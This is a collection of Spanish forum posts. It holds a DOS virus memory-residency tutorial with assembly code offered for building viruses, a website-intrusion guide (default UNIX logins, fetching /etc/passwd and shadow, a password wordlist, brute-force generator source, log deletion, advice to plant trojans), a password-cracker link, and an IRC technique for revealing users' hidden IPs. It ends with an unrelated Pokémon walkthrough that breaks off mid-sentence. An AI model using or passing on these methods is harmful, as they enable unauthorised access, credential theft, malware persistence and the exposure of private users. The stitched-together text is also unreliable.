carlos248
Usuario (Argentina)

- Instalación de un virus en la memoria del ordenador - Este artículo intenta explicar los métodos mas usados de residencia, con un enfoque mas práctico que teórico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de técnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teoría no esta muy detallada, pero se encontrará todo lo necesario para que el novato comprenda y pueda usar estos métodos. Y con la información del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico necesario (espero...). Empezemos: Los métodos más usados para dejar a un virus residente son: los que el DOS proporciona o el método de MCB (Memory Control Block). La primera forma es la más simple, pero también la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... además al ejecutarse esa función retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta técnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitrión. Si esto no se hiciera, alejecutar una int 21, por ejemplo, se le cedería el control al interprete de comandos... Una de las característica de los virus que usan esta técnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaría seria el primer K del COM, no el virus que esta al final.... Es evidente que no podemos dejar 50k residente... para que el virus quede en memoria se puede relocar(mover), a otro bloque, trasferirle el control, y luego este le cederá el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo después del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo. Este método es poco elegante, además de lento si se infecta dejando el virus al comienzo, entre otras cosas... Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el código para hacer lo que se quiera. =============================================================================== =============================================================================== code segment assume cs:code,ds:code Org 100h Start: Jmp instalar ; salta a la rutina de ; Instalación. ; En esta variable va la dirección original de la int 21h. old_21 dd 2 new_21: ; Acá va la rutina que se cuelga de la interrupción 21h. Jmp cs:[old_21] ;salta a la int original. Instalar: ; Obtengo el vector original de la int 21 mov ax, 3521h int 21h mov word ptr old_21, bx mov word ptr old_21+2, es ; Sesteo el nuevo vector de la int 21 mov ax,2521h push cs pop ds mov dx, offset new_21 int 21h ;Queda residente mov ah, 31h mov dx, 30d ;ß-- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes. code ends end star El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h, pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un párrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la dirección de este bloque. En el Offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el Offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese Offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS.;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener; la memoria reservada por el programa anfitrión (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Acá estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ; Resto a la memoria usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en párrafos. ; Paso el resultado de la operacion anterior a BX, para después llamar al servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah,4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un párrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, Y lo paso a ES, de esa forma apunto al párrafo que usa el DOS; como control, marco ese párrafo en el Offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilice esa zona de memoria. ; Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando; a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg Del virus Ahora lo que queda es mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualización de la int 21h o 13h. Fé de Ratas.. - mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;**** ;El problema de esto, es que en ningún momento se aclara que tenemos que declarar el tamaño del virus un poco mas grande, exactamente un párrafo mas largo. ; Esto por qué? Y bueno, en el momento en que tenemos que restarle un párrafo a ;la memoria que queremos reservar (esto lo hacíamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un párrafo menos de virus ;también.. ósea que la última parte del virus no entraría en la memoria reservada.. Puede ser que no traiga problemas por ser un rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-); Bueno, la manera de solucionar esto es simplemente Incrementar la cantidad de párrafos del virus o si lo declaran en su programa con un TAMAÑO DE PÁRRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declara el incremento directamente ahí, para no gastar bytes ni clocks : ; ; TAMAÑO_EN_PÁRRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;**** sub ax, bx ;En BX esta la longitud del virus, ;en párrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ; Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la DIR del seg. del virus ... ;Bla.. Bla.. Bla.. y sigue el código ...DTM - Dead to Minotauro BBS silly Troyan installer. Text by Zarathustra for Minotauro Magazine Bueno mi intención es que los que recibieron cualquier tipo de amenaza, ya sea por msn o por lo que sea sepan respondreles. Espero que les aya gustado mi segundo post, si les gusto me avisan q suvo mas [/color]
Bueno gente aca les traigo algo que les servira mucho,para todos los que descargan musica,videos,etc y no los pueden descomprimir por q piden pasword. Yo les traigo la solucion Ya se que el post es muy chico pero es de mucha ayuda ya que descubre cualquier pasword de winrar,winzip,etc Link de descarga: http://www.filefront.com/14855583/usar%20la%20fuerza%20bruta%20para%20adivinar%20las%20clave%20de%20winrar%20y%20mas.zip
"Guia para crackear Websites & Homepages" 1. Introduccion Si alguna vez has echado a volar tu imaginación se te abra ocurrido que seria cómico remover algunas graficas de algún website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo. Primero deberás entender que andar por ahí borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estés autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dará cuenta de la instrucción y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectándolos con algún buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS. 2. Websites Un website es solamente una computadora llamada servidor por su capacidad de de realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la información guardada en algún medio. 3 Ganando acceso a un servidor WWW Aquí reside la magia del Hacker, la protección común son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contraseña (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada. Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio. Si lograste conseguir la dirección IP usa telnet para conectarte a esa dirección. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD. Para entrar necesitas conseguir alguna cuenta haciendo algo de ingeniería social o intenta con los defaults: * CUENTAS DEFAULTS DE UNIX * Login: Password: root root root system sys sys sys system daemon daemon uucp uucp tty tty test test unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp rje rje games games games player sysop sysop root sysop demo demo Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiéndote de trucos como hablar por teléfono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona. 4. Cuando se esta adentro Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc Para obtener el archivo PASSWD usa el siguiente ejemplo: ($ simboliza el prompt UNIX) $ ftp FTP> get /etc/passwd FTP> quit Para ver el contenido del archivo usa el siguiente comando: $ cat /etc/passwd Una vez que tengas en tu posesión el archivo PASSWD edítalo y fíjate en su contenido, deberá tener la siguiente información: Usuario:contraseña:ID:Grupo:descripción/nombre:directorio:shell Usuario - Este es el login de algun usuario. Contraseña - Es el password de el usuario (encriptada con DES) ID - Es la identificación de ese usuario. Grupo - El grupo al que pertenece esta cuenta. Descripción- El nombre del usuario. Directorio - El directorio de acceso del usuario. Shell - El shell que procesa los comandos de ese usuario. Un ejemplo podria ser: john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john Nombre de usuario: john Password encriptado: 234abc56 Usuario numero: 9999 Numero de grupo: 13 Descripción: John Johnson Directorio de acceso: /home/dir/john Shell: /bin/john Si el archivo que conseguiste contiene la misma información pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contraseñas se encuentran 'sombreadas'. Si las contraseñas se encuentra sombreada, las podrás encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y después tratar de obtener el archivo al que se copio, ejemplo: $cp /etc/shadow /usuarios/carlos/hack.txt $ftp FTP> get /usuarios/carlos/hack.txt FTP> quit $rd /usuarios/carlos/hack.txt Algunas otras maneras de obtener el archivo SHADOW serán explicadas en otros números de RareGaZz. Ya tengo los passwords encriptados, ahora que? Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso. Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidió con la contraseña encriptada. Para conseguir listas de palabras haz FTP a el siguiente servidor: warwick.ac.uk directorio: /pub/cud Algunas de las palabras mas usadas en contraseñas son: aaa academia ada adrian aerobics airplane albany albatros albert alex alexander algebra alias alisa alpha alphabet ama amy analog anchor andy andrea animal answer anything arrow arthur ass asshole athena atmosphere bacchus badass bailey banana bandit banks bass batman beautiful beauty beaver daniel danny dave deb debbie deborah december desire desperate develop diet digital discovery disney dog drought duncan easy eatme edges edwin egghead eileen einstein elephant elizabeth ellen emerald engine engineer enterprise enzyme euclid evelyn extension fairway felicia fender finite format god hello idiot jester john johnny joseph joshua judith juggle julia kathleen kermit kernel knight lambda larry lazarus lee leroy lewis light lisa louis love lynne mac macintosh mack maggot martin marty marvin matt master maurice maximum merlin mets michael michelle mike minimum nicki nicole rascal really rebecca remote rick reagan robot robotics rolex ronald rose rosebud rosemary roses ruben rules ruth sal saxon scheme scott secret sensor serenity sex shark sharon shit shiva shuttle simon simple singer single singing smile smooch smother snatch snoopy soap socrates spit spring subway success summer super support surfer suzanne tangerine tape target taylor telephone temptation tiger tigger toggle tomato toyota trivial unhappy unicorn unknown urchin utility vicki virginia warren water weenie whatnot whitney will virgin william winston willie wizard wonbat yosemite zap whatnow Obtuve algunas cuentas, ahora? Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si después de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz El siguiente programa necesita ser compilado usando TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser modificada, es ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47) P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit +++++++++++++++++++++++++++++++++++++++++++++ Que tan practico es? Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tamaño. Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' serán generados. Como empiezo a usar esta lista de palabras? Compila el código y nómbralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS device=c:\hackdrv.sys Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) deberá reconocer hackpwd como una lista de palabras y empezar a crackear. Si deseas reiniciar una sesión desde una combinación específica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-----------------------Aorte aqui-------------------------------- Program HACKDRV.SYS: org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaaa',0ah ;<---- 6 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum: ;working space for device driver rh_ofs dw ? rh_seg dw ? dev_strategy: ;strategy routine mov cs:rh_seg,es mov cs:rh_ofs,bx retf dev_int: ;interrupt routine pushf push ds push es push ax push bx push cx push dx push di push si cld push cs pop ds mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs mov al,es:+2 rol al,1 mov di,offset cmdtab xor ah,ah add di,ax jmp word ptr cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3) ioctl_read: push es push bx mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si push cs pop ds mov si,offset number xor cx,cx get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2 ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 ;es:[bx+012h] push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2 do_read: push es push bx push cs pop ds mov si, inc si ;word ptr cmp si,offset afternum jnz is_okay mov si,offset number call inc_num is_okay: mov ,si mov di,es:+0eh mov ax,es:+010h mov cx, es:+012h jcxz clean_up mov es,ax repe movsb clean_up: pop bx pop es jmp exit2 exit3: mov es:word ptr 3,08103h jmp exit1 exit2: mov es:word ptr 3,0100h exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit: inc_num proc near push si mov si,numsize reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit mov byte ptr [number+si],'a' ;starting char. in range dec si cmp si,-1 jnz reiterate mov byte ptr ,01ah ;send EOF _exit: pop si ret inc_num endp at_eof: ; the non-resident code starts here initial proc near push es push cs pop ds push cs pop es mov si,offset number mov di,offset tmpnum cld _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again _nomorechars: mov si,offset msgend mov cx,4 repe movsb mov ah,09 ;print welcome message mov dx,offset msg1 int 21h pop es ret initial endp init: call initial mov ax,offset at_eof mov es:+0eh,ax push cs pop ax mov es:+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2 msg1 db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys Tambien pueden tirar paginas de juegos online con esto, por ejemplo: Bueno aca esta el mas facil de todos,el famoso mu online -------------------------------Corte aqui---------------------------------- Como limpiar tus huellas Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y bórralos o mejor aun edítalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi Edita o borra los siguientes archivos: /etc/syslog /etc/log /etc/logs Bueno gente aca les traigo mi nuevo post espero que les guste. La guia esta esta andando al 100% Espero que les sirva By Carlos248
1)¿Qué son y cómo funcionan los números IP? 2) ¿Qué son los DNS? 3) ¿Puedo obtener un dominio propio para mi página web? 4) Cómo hacer pruebas de conexión sin estar en Internet. (Conectar a una PC consigo misma, LOOPBACK) 5) Cómo averiguar el IP de un servidor a partir de un dominio. (mediante PING) 6) Cómo averiguar el IP de alguien a través del ICQ. (con ISoaQ 6.0) 7) Cómo averiguar el IP de alguien a través del CHAT. 1) ¿Qué son y cómo funcionan los números IP?1) ¿Qué son y cómo funcionan los números IP? Desde hace ya tiempo que Internet esta disponible para el público masivo, pero eso no significa que dicho público sepa realmente cómo funciona. Por suerte no hace falta saberlo para aprovecharla, pero nunca está de más una explicación. Básicamente, esta red está basada en el envío de datagramas. Un datagrama es un "paquete" de datos que parte de una computadora hacia otra. Cada datagrama contiene, además de los datos a enviar, y otras cosas, la información tanto de la ubicación (dirección) del emisor cómo la del receptor, de un modo similar a lo que escribimos en el sobre de una carta del correo convencional. Pero, ¿cómo se puede definir la dirección de una computadora? Toda PC que esté en red tiene al menos una "dirección virtual", que consiste en un número que la identifica y diferencia de todas las demás máquinas de la red, es decir, ninguna otra PC tendrá el mismo número, aún cuando dicha red abarque a todo el planeta, como en el caso de Internet. Este número identificatorio ocupa tan sólo cuatro bytes, y se suele escribir de esta forma: XXX.XXX.XXX.XXX (cada XXX es un número entre 0 y 255). Como se imaginarán, este número se llama "Número IP". Para que una computadora se comunique con otra (le envíe uno o más datagramas) es imprescindible que la emisora conozca el IP de la receptora. Si tenemos una PC conectada a 2 redes simultáneamente (por ejemplo, a la red interna de la oficina y a Internet), tiene 2 números IP, uno para comunicarse por Internet y el otro para la red de la oficina. Entonces surge el concepto de "Interface de Red". Una interface de red es el elemento que conecta a una PC con una Red. En el ejemplo, las dos interfaces son el Módem y la Placa de red. Por lo tanto, no es cada computadora la que tiene un numero IP, sino cada interfaz de red. Nuestro proveedor de Internet puede disponer de X números IP, que son los que usarán los usuarios que se conecten a través de él. Cuando nuestra PC se conecta a Internet, se comunica a uno de los modems del proveedor y recibe asignado el IP que utilizará durante esa llamada. En resumen, cada vez que nos conectamos a internet se nos asigna uno de los números IP disponibles en nuestro proveedor, por eso nuestro IP es diferente en cada llamada. A esto se lo llama "IP Dinámico". Lo contrario de IP Dinámico, es lógicamente, el IP fijo. Este es el caso de las computadoras que están conectadas directamente a Internet por una placa de red. 2) ¿Qué son los DNS? Un sitio Web, es un conjunto de documentos que se encuentran guardados en una computadora (un servidor). Este servidor tiene un número IP, que nuestra PC tiene que conocer para poder enviarle el pedido de los archivos HTML y las imágenes (en otras palabras, las páginas). ¿Pero como visito un sitio web si no sé el número IP de la computadora en la que está alojado? Existe en internet, un servicio llamado "Servicio de nombres de dominio" o "Domain Name Service" (DNS), que consiste en poner un nombre "amigable" a cada dirección IP, para permitirnos recordarlas fácilmente. Cuando tratamos de acceder a, por ejemplo, la página de Yahoo, nuestra computadora solicita automáticamente a un servidor DNS que traduzca "www.yahoo.com" (el nombre de dominio) a su numero IP (que es 216.32.74.52) y recién entonces podremos comunicarnos con el sitio. En un servidor DNS, hay una gran "base de datos" en donde cada dominio tiene su número IP correspondiente. Y cualquier PC de la red puede consultarla. (de hecho lo hace automáticamente cada vez que visitamos un sitio) 3) ¿Puedo obtener un dominio propio para mi página web? (Limitaciones del DNS) Como dijimos, un servidor DNS tiene para cada dominio un equivalente numero IP. Por eso, para tener un dominio propio, se necesita que nuestra página esté alojada en una computadora con IP fijo. Ya que si no fuera así, el servidor DNS nunca podría determinar su número IP (por que este variaría a cada rato). Es por eso que no es posible para los usuarios telefónicos normales de Internet tener un dominio propio. Cuidado, no se debe confundir el concepto de "dominio propio" con el de página propia. Es posible tener página propia en internet, que en realidad, consiste en alojar nuestros documentos en un subdirectorio dentro de un servidor gratuito. (Como Geocities o Xoom) 4) Cómo hacer pruebas de conexión sin estar en Internet. (Conectar a una PC consigo misma, LOOPBACK) Por último, en todos los Sistemas Operativos hay una interface de red "virtual". Esta interface llamada "LOOPBACK" hace referencia a si misma. El número IP de esa interface es "127.0.0.1". O sea, si cualquier PC trata de conectarse con "127.0.0.1" estaría tratando de conectarse consigo misma. Este numero IP no varía, estemos conectados a Internet o no. 5) Cómo averiguar el IP de un servidor a partir de un dominio (mediante PING). La manera más fácil de obtener el numero IP de una computadora teniendo el nombre de su dominio es ejecutando el comando PING bajo DOS: (Ping viene junto con Windows 95/98) Por ejemplo, obtener el IP de Yahoo usando PING se vería así: c:\>ping www.yahoo.com Haciendo ping a www.yahoo.com [216.32.74.52] con 32 bytes de datos: Respuesta desde 216.32.74.52: bytes=32 tiempo=687ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=723ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=671ms TDV=239 Respuesta desde 216.32.74.52: bytes=32 tiempo=668ms TDV=239 Estadísticas de ping para 216.32.74.52: Paquetes: enviados = 4, Recibidos = 4, perdidos = 0 (0% loss), Tiempos aproximados de recorrido redondo en milisegundos: mínimo = 668ms, máximo = 723ms, promedio = 687ms c:\> Además del número IP (que esta entre corchetes), PING me indica cuanta demora hay entre mi módem y la computadora de Yahoo, medida en milisegundos (690 ms aprox. en mi caso). La utilidad más importante del programa Ping es la de asegurarse que hay comunicación con otra computadora de la red. (Si no fuera posible la comunicación, Ping avisaría que el tiempo de espera se ha agotado.) 6) Cómo averiguar el IP de alguien a través del ICQ 99. De lo explicado anteriormente se deduce que sólo quienes están On Line tiene un número de IP. Si deseas obtener el IP de alguien que está On Line en tu lista de ICQ, prueba lo siguiente: Haz click con el botón secundario del mouse sobre la persona de la que quieres obtener su IP. Selecciona "INFO" del menú desplegable que aparece. En la solapa "Main" hay un campo que dice "Current / Last IP:". En ese lugar dice el numero IP de la persona o aparece "N/A". Esto ultimo significa que esa persona configuró su ICQ para que oculte su IP. Existe un parche para el ICQ que elimina el "N/A" (para que el ICQ no vuelva a ocultarnos los IP). Dicho parche se encuentra en http://members.xoom.com/retrievefile/isoaq60.exe Lo más interesante es que ISOaQ funciona con muchas versiones diferentes del ICQ, y tiene además otras prestaciones interesantes. Nota de actualización: Esta version del ISOaQ es del 30/8/99 y no funciona con el ultimo ICQ. Pueden encontrar una version más nueva del ISOaQ en http://isoaq.da.ru 7) Cómo averiguar el IP de alguien a través del CHAT. Si estás en chateando en IRC, podés obtener el IP de la otra persona ingresando en la ventana de Status: "/whois Nick_Name" (sin comillas y remplazando Nick_Name por el apodo de esa persona) En algunos casos el IP aparece oculto (es decir, no aparece). Si es así tendremos que usar la técnica que transcribo a continuación: (Autor: Kadorna http://members.xoom.com/_XOOM/kadornakpo/Index2.html) ..."Como sacar la IP del server de ciudad sin ser @" (Nota: "@" significa moderador del canal) "En en el server de Ciudad Digital komo en otroz... cuando le haces un /WHOIS a alguien, te puede dar la IP o la HOST de esa persona, la verdad no se cual es el criterio por el cual te muestra una u otra. Pero a lo ke voy es ke aparecen enkripatadas. Ejemplos: 234.45.23.XXX xxxxxxxxxx.ciudad.com.ar Voy a pasar a explicar como averiguar las IPs sin ser @... para esto tomemos como ejemplo a Jorge ke esta en #Encuentros. Asi ke primero lo primero, en status ponemos... /WHOIS Jorge Jorge is [email protected] Jorge on #Encuentros #Conferencias #Maduritos Jorge using CIChatService Ciudad Exchange Chat Service Jorge End of /WHOIS list Komo veran entre la info ke nos da es server esta la IP de Jorge ke es 200.16.73.XXX, la pregunta es ke mierda hay detras de las Xz no? Bueno el siguiente paso es poner, siempre en Status... /WHO 200?16?73???? O sea hay ke poner ? en cada . (punto) y ? en cada X. Con esto lo ke hacemos es pedirle al servidor ke nos diga kienes son los usuarios ke su IP tienen el patron 200.16.73.??? Komo respuesta de este vamos a obtener una lista... #Conferencias Jorge [email protected] :0 #Lesbianas Linda ~ [email protected] 200?16?73???? End of /WHO list Komo veran entre los listados esta nuestro amigo Jorge... el paso siguiente es probar con numeros en las posiciones donde estaban las X. Para tener en cuenta: Una IP puede tomar komo valor maxino 255.255.255.255. Asi ke al tratar de averiguarlas, no sean FORROS en el lugar de la primera X solo prueben con el 1 o 2. Bueno empezamos a probar... /WHO 200?16?73?0?? 200?16?73?0?? End of /WHO list /WHO 200?16?73?1?? #Lesbianas Linda ~ [email protected] 200?16?73?1?? End of /WHO list Bueno aca salio en la lista ke te envia el servidor el otro usuario cuya IP seguia el patron, pero esto a nosotros no nos importa estamos buscando a Jorge... asi ke seguimos /WHO 200?16?73?2?? #Conferencias Jorge [email protected] :0 200?16?73?2?? End of /WHO list Bueno parece ke encontramos el numero ke corresponde a la primera X, es el numero 2. Ahora pasamos al siguiente... WHO 200?16?73?20? 200?16?73?20?? End of /WHO list WHO 200?16?73?21? #Conferencias Jorge [email protected] :0 200?16?73?21? End of /WHO list Encontramos el segundo...!!! pasemos al tercer y ultimo numero WHO 200?16?73?210 200?16?73?210 End of /WHO list WHO 200?16?73?211 200?16?73?211 End of /WHO list WHO 200?16?73?212 200?16?73?212 End of /WHO list WHO 200?16?73?213 200?16?73?213 End of /WHO list WHO 200?16?73?214 #Conferencias Jorge [email protected] :0 200?16?73?214 End of /WHO list Bueno no hay mas ke decir... la IP es 200.16.73.214."
Nada más empezar el juego aparecerá tu rival por las escaleras. Después vea su casa y él saldrá, pero volverá a entrar. Entra y sube a su cuarto. Habla con él y saldrá corriendo. Sal del pueblo y le verás esperándote. Aparecerá el profesor Serbal y te dará tu primer pokémon. Después el rival te retará, da igual si pierdes o ganas. Aparecerás en tu casa y tu madre te dará las deportivas. Sal del pueblo y el rival te seguirá, ve al lago. RUTA 201 Al entrar verás a Helio en el lago, se irá y oireís a Mesprit. Tu rival sale corriendo, siguele. Ve a Pueblo Arenas y Maya te llevará al laboratorio. El profesor serbal te dará la pokédex. Sal y el profesor serbal te dará la MT27 Retroceso. Maya te enseñará lo de siempre y se irá diciendote que visites a tu madre. La madre te dará un diario y la madre del rival el paquete, ya puedes tomar el camino hacia Ciudad Rocavelo. Sal por el norte de Pueblo Arenas para cojer la ruta de jubileo. RUTA 202 Al llegar a la primera zona de hierba maya/león te enseñará a capturar un pokémon como en las ediciones de diamante y perla. Después de eso te dará 5 poké-balls. Ene l camino te encontrarás con 3 entrenadores. Los tres tienes los pokémon alrededor del nivel 5-7 mas o menos. Al entrar en jubileo maya/león te dirá que le sigas. Despues de un poco aparecerá una especie de policía secreto(el que aparece en el video introductorio) y te dará el battle recorder para poder grabar batallas. Maya/león te dirá que rival está en el dojo. Entra y habla con él para darle el paquete y dentro habrá dos mapas, tu te quedas con uno. Después de eso sal y estará el director de la campaña del pokereloj. Contesta a las preguntas como en d/p(di que sí a todas). Te dará el pokéreloj y podrás seguir tu aventura. Ve por la ruta de la derecha para ir a pirita. RUTA 203 Lucha con los entrenadores(si escojiste a chimchar entrena hasta que aprenda un ataque de lucha) y cruza la cueva (al entrar en la cueva un montañero te dará golpe roca). Al entrar en pirita un chico te llevará hasta el gimnasio, allí habla con el rival y te dirá que el líder no está. Ve a la mina de carbón y allí ve hasta el fondo y habla con un chico con el casco rojo. Te enseñará el ataque golpe roca y se irá. Ahora podrás entrar en el gimnasio. LÍDER ROCO-CIUDAD PIRITA-MEDALLA LIGNITO Geodude Nv.12 Onix Nv.12 Cranidos Nv.14 Después de ganarle vuelve por donde has venido hasta Ciudad Jubileo. Ve al norte y te encontrarás a serbal y maya/león con unos reclutas del equipo galaxia. Lucharás junto maya/león. Al ganar ellos se irán y vendrá un chico(gordo, todo hay que decirlo) y te dará una caja corazón. RUTA 204 Entra en la ruta 204 y sigue hacia arriba. Entra en la cueva y rompe la piedra con golpe roca. Pasa 